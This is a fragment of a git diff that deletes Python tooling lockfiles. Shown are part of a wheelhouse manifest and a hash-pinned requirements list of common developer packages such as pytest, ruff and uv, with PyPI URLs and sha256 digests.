"https://files.pythonhosted.org/packages/94/84/d9273cd09688070a6523c4aee4663a8538721b2b755c4962aafae0011e72/identify-2.6.19-py2.py3-none-any.whl", - "version": "2.6.19" - }, - { - "filename": "idna-3.19-py3-none-any.whl", - "name": "idna", - "sha256": "815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4", - "size": 68550, - "url": "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", - "version": "3.19" - }, - { - "filename": "iniconfig-2.3.0-py3-none-any.whl", - "name": "iniconfig", - "sha256": "f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", - "size": 7484, - "url": "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", - "version": "2.3.0" - }, - { - "filename": "jsonschema-4.26.0-py3-none-any.whl", - "name": "jsonschema", - "sha256": "d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce", - "size": 90630, - "url": "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", - "version": "4.26.0" - }, - { - "filename": "jsonschema_specifications-2025.9.1-py3-none-any.whl", - "name": "jsonschema-specifications", - "sha256": "98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", - "size": 18437, - "url": "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", - "version": "2025.9.1" - }, - { - "filename": "nodeenv-1.10.0-py2.py3-none-any.whl", - "name": "nodeenv", - "sha256": "5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", - "size": 23438, - "url": "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", - "version": "1.10.0" - }, - { - "filename": "nox-2026.4.10-py3-none-any.whl", - "name": "nox", - "sha256": "082c117627590d9b90aa21f86df89b310b07c5842539524203bcb3c719f116c1", - "size": 75536, - "url": "https://files.pythonhosted.org/packages/7f/95/4df134a100b5a9a12378d5301b934366686ef6fbdaffcd21211d5654970e/nox-2026.4.10-py3-none-any.whl", - "version": "2026.4.10" - }, - { - "filename": "packaging-26.3-py3-none-any.whl", - "name": "packaging", - "sha256": "d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", - "size": 129956, - "url": "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", - "version": "26.3" - }, - { - "filename": "pathspec-1.1.1-py3-none-any.whl", - "name": "pathspec", - "sha256": "a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189", - "size": 57328, - "url": "https://files.pythonhosted.org/packages/f1/d9/7fb5aa316bc299258e68c73ba3bddbc499654a07f151cba08f6153988714/pathspec-1.1.1-py3-none-any.whl", - "version": "1.1.1" - }, - { - "filename": "pip-26.2.1-py3-none-any.whl", - "name": "pip", - "sha256": "71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e", - "size": 1816632, - "url": "https://files.pythonhosted.org/packages/f3/6e/1736e5b4ae2b778ef2f81c47d797de9f891d4d8acb047a24ca37a60294dd/pip-26.2.1-py3-none-any.whl", - "version": "26.2.1" - }, - { - "filename": "platformdirs-4.11.8-py3-none-any.whl", - "name": "platformdirs", - "sha256": "52f2f181bbfde907966932cc8312d967d02976422d66d537ea16092b8e291081", - "size": 24027, - "url": "https://files.pythonhosted.org/packages/f4/e1/5b7b8bbb55084d1425bcb9bc823ff519e1b2be05f6ebb0089e2eacc38413/platformdirs-4.11.8-py3-none-any.whl", - "version": "4.11.8" - }, - { - "filename": "pluggy-1.6.0-py3-none-any.whl", - "name": "pluggy", - "sha256": "e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", - "size": 20538, - "url": "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", - "version": "1.6.0" - }, - { - "filename": "pre_commit-4.3.0-py2.py3-none-any.whl", - "name": "pre-commit", - "sha256": "2b0747ad7e6e967169136edffee14c16e148a778a54e4f967921aa1ebf2308d8", - "size": 220965, - "url": "https://files.pythonhosted.org/packages/5b/a5/987a405322d78a73b66e39e4a90e4ef156fd7141bf71df987e50717c321b/pre_commit-4.3.0-py2.py3-none-any.whl", - "version": "4.3.0" - }, - { - "filename": "pre_commit_hooks-6.0.0-py2.py3-none-any.whl", - "name": "pre-commit-hooks", - "sha256": "76161b76d321d2f8ee2a8e0b84c30ee8443e01376121fd1c90851e33e3bd7ee2", - "size": 41338, - "url": "https://files.pythonhosted.org/packages/12/46/eba9be9daa403fa94854ce16a458c29df9a01c6c047931c3d8be6016cd9a/pre_commit_hooks-6.0.0-py2.py3-none-any.whl", - "version": "6.0.0" - }, - { - "filename": "pycparser-3.0-py3-none-any.whl", - "name": "pycparser", - "sha256": "b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", - "size": 48172, - "url": "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", - "version": "3.0" - }, - { - "filename": "pygments-2.21.0-py3-none-any.whl", - "name": "pygments", - "sha256": "2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", - "size": 1250147, - "url": "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", - "version": "2.21.0" - }, - { - "filename": "pytest-9.0.3-py3-none-any.whl", - "name": "pytest", - "sha256": "2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9", - "size": 375249, - "url": "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", - "version": "9.0.3" - }, - { - "filename": "pytest_timeout-2.4.0-py3-none-any.whl", - "name": "pytest-timeout", - "sha256": "c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2", - "size": 14382, - "url": "https://files.pythonhosted.org/packages/fa/b6/3127540ecdf1464a00e5a01ee60a1b09175f6913f0644ac748494d9c4b21/pytest_timeout-2.4.0-py3-none-any.whl", - "version": "2.4.0" - }, - { - "filename": "python_discovery-1.6.0-py3-none-any.whl", - "name": "python-discovery", - "sha256": "d4e244cf17b8b29819ed78003d55fbacf86eda23425b075454fff9271b79377a", - "size": 38451, - "url": "https://files.pythonhosted.org/packages/43/5e/21abf578182fb15006a57faf3711a1e659e29d600d19b6e557eae908c81d/python_discovery-1.6.0-py3-none-any.whl", - "version": "1.6.0" - }, - { - "filename": "pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", - "name": "pyyaml", - "sha256": "c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", - "size": 794175, - "url": "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", - "version": "6.0.3" - }, - { - "filename": "referencing-0.37.0-py3-none-any.whl", - "name": "referencing", - "sha256": "381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", - "size": 26766, - "url": "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", - "version": "0.37.0" - }, - { - "filename": "regress-2026.9.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "name": "regress", - "sha256": "56716962a7c42f1ddb2d9d5467282f1f4855538e9f221cb0c5f51f1c9a2056be", - "size": 588439, - "url": "https://files.pythonhosted.org/packages/a5/46/e2ecb67a4ca2507726ea04363acc440a8cc7c4b122b57b5302207d1cfc6d/regress-2026.9.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "version": "2026.9.1" - }, - { - "filename": "requests-2.34.2-py3-none-any.whl", - "name": "requests", - "sha256": "2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", - "size": 73075, - "url": "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", - "version": "2.34.2" - }, - { - "filename": "rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "name": "rpds-py", - "sha256": "dc319e5a1de4b6913aac94bf6a2f9e847371e0a140a43dd4991db1a09bc2d504", - "size": 367255, - "url": "https://files.pythonhosted.org/packages/d1/9c/0d1fdc2e7aba23e290d603bc494e97bd205bae262ce33c6b32a69768ed5e/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "version": "2026.6.3" - }, - { - "filename": "ruamel_yaml-0.19.1-py3-none-any.whl", - "name": "ruamel-yaml", - "sha256": "27592957fedf6e0b62f281e96effd28043345e0e66001f97683aa9a40c667c93", - "size": 118102, - "url": "https://files.pythonhosted.org/packages/b8/0c/51f6841f1d84f404f92463fc2b1ba0da357ca1e3db6b7fbda26956c3b82a/ruamel_yaml-0.19.1-py3-none-any.whl", - "version": "0.19.1" - }, - { - "filename": "ruff-0.15.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "name": "ruff", - "sha256": "2b0c7c341f68adb01c488c3b7d4b49aa8ea97409eae6462d860a79cf55f431b6", - "size": 11254525, - "url": "https://files.pythonhosted.org/packages/ff/6b/a1548ac378a78332a4c3dcf4a134c2475a36d2a22ddfa272acd574140b50/ruff-0.15.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "version": "0.15.9" - }, - { - "filename": "trove_classifiers-2026.6.1.19-py3-none-any.whl", - "name": "trove-classifiers", - "sha256": "ab4c4ec93cc4a4e7815fa759906e05e6bb3f2fbd92ea0f897288c6a43efd15b3", - "size": 14211, - "url": "https://files.pythonhosted.org/packages/7c/a4/81502f486f01db95bc8320646a8a12511f5e556cb63d5e224d91816605c4/trove_classifiers-2026.6.1.19-py3-none-any.whl", - "version": "2026.6.1.19" - }, - { - "filename": "urllib3-2.7.0-py3-none-any.whl", - "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" - }, - { - "filename": "uv-0.12.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "name": "uv", - "sha256": "3bb292d959fa73000d524159cd5f3c1aa1cf2db9cc3005ccdec06911a9998e84", - "size": 23553966, - "url": "https://files.pythonhosted.org/packages/ea/e6/b8f4c5f3b01ec504207edf733ffa51e896bd4b87479fc83261f3b5ba3cb2/uv-0.12.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", - "version": "0.12.4" - }, - { - "filename": "virtualenv-21.7.9-py3-none-any.whl", - "name": "virtualenv", - "sha256": "ba3b0bb41063c848d84d76a9fe3fb7711aaa0f2fe78708e8f3cd9714770e4eac", - "size": 5324667, - "url": "https://files.pythonhosted.org/packages/85/fc/888c80b8da917bfc48a41887eca244f995d190bd3c01175727089fcaf27e/virtualenv-21.7.9-py3-none-any.whl", - "version": "21.7.9" - } - ], - "lock_path": "implementations/tooling/python/uv.lock", - "lock_sha256": "ef9663222cbae7f8cc41fe04f88827cc69c944dd4994064b26d8e7f077dad51f", - "python_closure_profile_id": "public-linux-x86_64-cp314-tools", - "requirements_sha256": "7bd4a78064e7e8eb1aa712f992bc52f9bf1588d59ae89ad18a7f125be8d0d234", - "schema_version": "raes-python-wheelhouse-manifest/v1" -} diff --git a/implementations/tooling/python/smoke/tools-macos-arm64-cp314.txt b/implementations/tooling/python/smoke/tools-macos-arm64-cp314.txt deleted file mode 100644 index 87cd3f866..000000000 --- a/implementations/tooling/python/smoke/tools-macos-arm64-cp314.txt +++ /dev/null @@ -1,45 +0,0 @@ -argcomplete==3.7.2 --hash=sha256:6029205678bdd9c1c728a155f5f9ecf5812393f969eef58807641a2bc2aa5b19 -attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 -certifi==2026.7.22 --hash=sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775 -cffi==2.1.1 --hash=sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72 -cfgv==3.5.0 --hash=sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0 -charset-normalizer==3.5.1 --hash=sha256:c428c6c31eb5f4277d7f8eccaf767fbd548ddd5ce3c8b4f4cbbfab3d96b5904c -check-jsonschema==0.37.1 --hash=sha256:cf672ef4ccd62f9512ac40d28dde135108799ee8d749095ac72b62ecdb796d2e -click==8.5.0 --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 -colorlog==6.12.0 --hash=sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e -cryptography==50.0.1 --hash=sha256:b8f852c65863251b9e3a1b8c150ce21e59b522dbb6a7d4bc80e680d38388e986 -dependency-groups==1.3.2 --hash=sha256:8c337f7b92445823b0d0ea507f611390c58dcd2112be00aebcd738a2ca7a1c64 -distlib==0.4.3 --hash=sha256:4b0ce306c966eb73bc3a7b6abad017c556dadd92c44701562cd528ac7fde4d5b -filelock==3.32.6 --hash=sha256:3f16ecd0117feae0dfc147e8c62eb5daeccd8bd800378c3ddf416de9b4feb6b1 -hatchling==1.27.0 --hash=sha256:d3a2f3567c4f926ea39849cdf924c7e99e6686c9c8e288ae1037c8fa2a5d937b -humanize==4.16.0 --hash=sha256:353eb2f34c09d098b2880eee8bef21832eae6d174f48c5762fff7e5fcb74d01d -identify==2.6.19 --hash=sha256:20e6a87f786f768c092a721ad107fc9df0eb89347be9396cadf3f4abbd1fb78a -idna==3.19 --hash=sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4 -iniconfig==2.3.0 --hash=sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12 -jsonschema==4.26.0 --hash=sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce -jsonschema-specifications==2025.9.1 --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe -nodeenv==1.10.0 --hash=sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827 -nox==2026.4.10 --hash=sha256:082c117627590d9b90aa21f86df89b310b07c5842539524203bcb3c719f116c1 -packaging==26.3 --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c -pathspec==1.1.1 --hash=sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189 -pip==26.2.1 --hash=sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e -platformdirs==4.11.8 --hash=sha256:52f2f181bbfde907966932cc8312d967d02976422d66d537ea16092b8e291081 -pluggy==1.6.0 --hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746 -pre-commit==4.3.0 --hash=sha256:2b0747ad7e6e967169136edffee14c16e148a778a54e4f967921aa1ebf2308d8 -pre-commit-hooks==6.0.0 --hash=sha256:76161b76d321d2f8ee2a8e0b84c30ee8443e01376121fd1c90851e33e3bd7ee2 -pycparser==3.0 --hash=sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992 -pygments==2.21.0 --hash=sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9 -pytest==9.0.3 --hash=sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9 -pytest-timeout==2.4.0 --hash=sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2 -python-discovery==1.6.0 --hash=sha256:d4e244cf17b8b29819ed78003d55fbacf86eda23425b075454fff9271b79377a -pyyaml==6.0.3 --hash=sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310 -referencing==0.37.0 --hash=sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231 -regress==2026.9.1 --hash=sha256:00ed84607b4c92a070f28749de04b6c89bcd5f991e705052e15a28301759f8cf -requests==2.34.2 --hash=sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0 -rpds-py==2026.6.3 --hash=sha256:d7469697dce35be237db177d42e2a2ee26e6dcc5fc052078a6fefabd288c6edd -ruamel-yaml==0.19.1 --hash=sha256:27592957fedf6e0b62f281e96effd28043345e0e66001f97683aa9a40c667c93 -ruff==0.15.9 --hash=sha256:eaf05aad70ca5b5a0a4b0e080df3a6b699803916d88f006efd1f5b46302daab8 -trove-classifiers==2026.6.1.19 --hash=sha256:ab4c4ec93cc4a4e7815fa759906e05e6bb3f2fbd92ea0f897288c6a43efd15b3 -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 -uv==0.12.4 --hash=sha256:004e75a64fa44619b0e3bb267c206a6920e65b78c963863b649c3bcdfd870610 -virtualenv==21.7.9 --hash=sha256:ba3b0bb41063c848d84d76a9fe3fb7711aaa0f2fe78708e8f3cd9714770e4eac diff --git a/implementations/tooling/python/smoke/tools-macos-arm64-cp314.wheelhouse-manifest.json b/implementations/tooling/python/smoke/tools-macos-arm64-cp314.wheelhouse-manifest.json deleted file mode 100644 index 03b36757f..000000000 --- a/implementations/tooling/python/smoke/tools-macos-arm64-cp314.wheelhouse-manifest.json +++ /dev/null @@ -1,369 +0,0 @@ -{ - "artifacts": [ - { - "filename": "argcomplete-3.7.2-py3-none-any.whl", - "name": "argcomplete", - "sha256": "6029205678bdd9c1c728a155f5f9ecf5812393f969eef58807641a2bc2aa5b19", - "size": 43294, - "url": "https://files.pythonhosted.org/packages/46/bd/551ee6af426af84ca33e02622be722925c196608e9127d731ef17c47f06e/argcomplete-3.7.2-py3-none-any.whl", - "version": "3.7.2" - }, - { - "filename": "attrs-26.1.0-py3-none-any.whl", - "name": "attrs", - "sha256": "c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", - "size": 67548, - "url": "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", - "version": "26.1.0" - }, - { - "filename": "certifi-2026.7.22-py3-none-any.whl", - "name": "certifi", - "sha256": "62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", - "size": 136983, - "url": "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", - "version": "2026.7.22" - }, - { - "filename": "cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", - "name": "cffi", - "sha256": "661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72", - "size": 184962, - "url": "https://files.pythonhosted.org/packages/b3/a9/9db617d05d7367c1ad0ab00b3aa6e6f9281edd689b4ee9ea0e5a84e89c97/cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", - "version": "2.1.1" - }, - { - "filename": "cfgv-3.5.0-py2.py3-none-any.whl", - "name": "cfgv", - "sha256": "a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0", - "size": 7445, - "url": "https://files.pythonhosted.org/packages/db/3c/33bac158f8ab7f89b2e59426d5fe2e4f63f7ed25df84c036890172b412b5/cfgv-3.5.0-py2.py3-none-any.whl", - "version": "3.5.0" - }, - { - "filename": "charset_normalizer-3.5.1-cp314-cp314-macosx_10_15_universal2.whl", - "name": "charset-normalizer", - "sha256": "c428c6c31eb5f4277d7f8eccaf767fbd548ddd5ce3c8b4f4cbbfab3d96b5904c", - "size": 341823, - "url": "https://files.pythonhosted.org/packages/e9/40/095ce62fa078483cccc1fa2b36e6bc9580b85422a20ee9f925341c50e44f/charset_normalizer-3.5.1-cp314-cp314-macosx_10_15_universal2.whl", - "version": "3.5.1" - }, - { - "filename": "check_jsonschema-0.37.1-py3-none-any.whl", - "name": "check-jsonschema", - "sha256": "cf672ef4ccd62f9512ac40d28dde135108799ee8d749095ac72b62ecdb796d2e", - "size": 392983, - "url": "https://files.pythonhosted.org/packages/6c/cc/bfa3f5c4b8fdc05956a9426f4d7a9a85c6d6d68c8096722f612bf4db5d08/check_jsonschema-0.37.1-py3-none-any.whl", - "version": "0.37.1" - }, - { - "filename": "click-8.5.0-py3-none-any.whl", - "name": "click", - "sha256": "255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360", - "size": 125251, - "url": "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", - "version": "8.5.0" - }, - { - "filename": "colorlog-6.12.0-py3-none-any.whl", - "name": "colorlog", - "sha256": "30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e", - "size": 12239, - "url": "https://files.pythonhosted.org/packages/d4/19/0b6647bf5e331521e55d2b63bfbdc210bd9cd605189273f03614a05f702d/colorlog-6.12.0-py3-none-any.whl", - "version": "6.12.0" - }, - { - "filename": "cryptography-50.0.1-cp311-abi3-macosx_11_0_arm64.whl", - "name": "cryptography", - "sha256": "b8f852c65863251b9e3a1b8c150ce21e59b522dbb6a7d4bc80e680d38388e986", - "size": 4010153, - "url": "https://files.pythonhosted.org/packages/ba/19/797e2aaac9df6a66f1550f49979dc1b1e39ecd2077501c30efa81e8d5d67/cryptography-50.0.1-cp311-abi3-macosx_11_0_arm64.whl", - "version": "50.0.1" - }, - { - "filename": "dependency_groups-1.3.2-py3-none-any.whl", - "name": "dependency-groups", - "sha256": "8c337f7b92445823b0d0ea507f611390c58dcd2112be00aebcd738a2ca7a1c64", - "size": 9802, - "url": "https://files.pythonhosted.org/packages/a1/e4/da5f2f176050efcfb9222a76a3e81c41f69f775be8e563b76ca4292a134f/dependency_groups-1.3.2-py3-none-any.whl", - "version": "1.3.2" - }, - { - "filename": "distlib-0.4.3-py2.py3-none-any.whl", - "name": "distlib", - "sha256": "4b0ce306c966eb73bc3a7b6abad017c556dadd92c44701562cd528ac7fde4d5b", - "size": 470628, - "url": "https://files.pythonhosted.org/packages/02/08/9c41fb51ab5b43eb21674aff13df270e8ba6c4b29c8624e328dc7a9482af/distlib-0.4.3-py2.py3-none-any.whl", - "version": "0.4.3" - }, - { - "filename": "filelock-3.32.6-py3-none-any.whl", - "name": "filelock", - "sha256": "3f16ecd0117feae0dfc147e8c62eb5daeccd8bd800378c3ddf416de9b4feb6b1", - "size": 100189, - "url": "https://files.pythonhosted.org/packages/cc/06/4f138f618dbea66803291274f228f01daf29f306fe8b96bc30dab765df75/filelock-3.32.6-py3-none-any.whl", - "version": "3.32.6" - }, - { - "filename": "hatchling-1.27.0-py3-none-any.whl", - "name": "hatchling", - "sha256": "d3a2f3567c4f926ea39849cdf924c7e99e6686c9c8e288ae1037c8fa2a5d937b", - "size": 75794, - "url": "https://files.pythonhosted.org/packages/08/e7/ae38d7a6dfba0533684e0b2136817d667588ae3ec984c1a4e5df5eb88482/hatchling-1.27.0-py3-none-any.whl", - "version": "1.27.0" - }, - { - "filename": "humanize-4.16.0-py3-none-any.whl", - "name": "humanize", - "sha256": "353eb2f34c09d098b2880eee8bef21832eae6d174f48c5762fff7e5fcb74d01d", - "size": 137209, - "url": "https://files.pythonhosted.org/packages/b0/aa/0b7365d30fed43e7a3449aba1fe20a0a7174d9cf13e282af4e69ac825441/humanize-4.16.0-py3-none-any.whl", - "version": "4.16.0" - }, - { - "filename": "identify-2.6.19-py2.py3-none-any.whl", - "name": "identify", - "sha256": "20e6a87f786f768c092a721ad107fc9df0eb89347be9396cadf3f4abbd1fb78a", - "size": 99397, - "url": "https://files.pythonhosted.org/packages/94/84/d9273cd09688070a6523c4aee4663a8538721b2b755c4962aafae0011e72/identify-2.6.19-py2.py3-none-any.whl", - "version": "2.6.19" - }, - { - "filename": "idna-3.19-py3-none-any.whl", - "name": "idna", - "sha256": "815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4", - "size": 68550, - "url": "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", - "version": "3.19" - }, - { - "filename": "iniconfig-2.3.0-py3-none-any.whl", - "name": "iniconfig", - "sha256": "f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", - "size": 7484, - "url": "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", - "version": "2.3.0" - }, - { - "filename": "jsonschema-4.26.0-py3-none-any.whl", - "name": "jsonschema", - "sha256": "d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce", - "size": 90630, - "url": "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", - "version": "4.26.0" - }, - { - "filename": "jsonschema_specifications-2025.9.1-py3-none-any.whl", - "name": "jsonschema-specifications", - "sha256": "98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", - "size": 18437, - "url": "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", - "version": "2025.9.1" - }, - { - "filename": "nodeenv-1.10.0-py2.py3-none-any.whl", - "name": "nodeenv", - "sha256": "5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", - "size": 23438, - "url": "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", - "version": "1.10.0" - }, - { - "filename": "nox-2026.4.10-py3-none-any.whl", - "name": "nox", - "sha256": "082c117627590d9b90aa21f86df89b310b07c5842539524203bcb3c719f116c1", - "size": 75536, - "url": "https://files.pythonhosted.org/packages/7f/95/4df134a100b5a9a12378d5301b934366686ef6fbdaffcd21211d5654970e/nox-2026.4.10-py3-none-any.whl", - "version": "2026.4.10" - }, - { - "filename": "packaging-26.3-py3-none-any.whl", - "name": "packaging", - "sha256": "d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", - "size": 129956, - "url": "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", - "version": "26.3" - }, - { - "filename": "pathspec-1.1.1-py3-none-any.whl", - "name": "pathspec", - "sha256": "a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189", - "size": 57328, - "url": "https://files.pythonhosted.org/packages/f1/d9/7fb5aa316bc299258e68c73ba3bddbc499654a07f151cba08f6153988714/pathspec-1.1.1-py3-none-any.whl", - "version": "1.1.1" - }, - { - "filename": "pip-26.2.1-py3-none-any.whl", - "name": "pip", - "sha256": "71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e", - "size": 1816632, - "url": "https://files.pythonhosted.org/packages/f3/6e/1736e5b4ae2b778ef2f81c47d797de9f891d4d8acb047a24ca37a60294dd/pip-26.2.1-py3-none-any.whl", - "version": "26.2.1" - }, - { - "filename": "platformdirs-4.11.8-py3-none-any.whl", - "name": "platformdirs", - "sha256": "52f2f181bbfde907966932cc8312d967d02976422d66d537ea16092b8e291081", - "size": 24027, - "url": "https://files.pythonhosted.org/packages/f4/e1/5b7b8bbb55084d1425bcb9bc823ff519e1b2be05f6ebb0089e2eacc38413/platformdirs-4.11.8-py3-none-any.whl", - "version": "4.11.8" - }, - { - "filename": "pluggy-1.6.0-py3-none-any.whl", - "name": "pluggy", - "sha256": "e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", - "size": 20538, - "url": "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", - "version": "1.6.0" - }, - { - "filename": 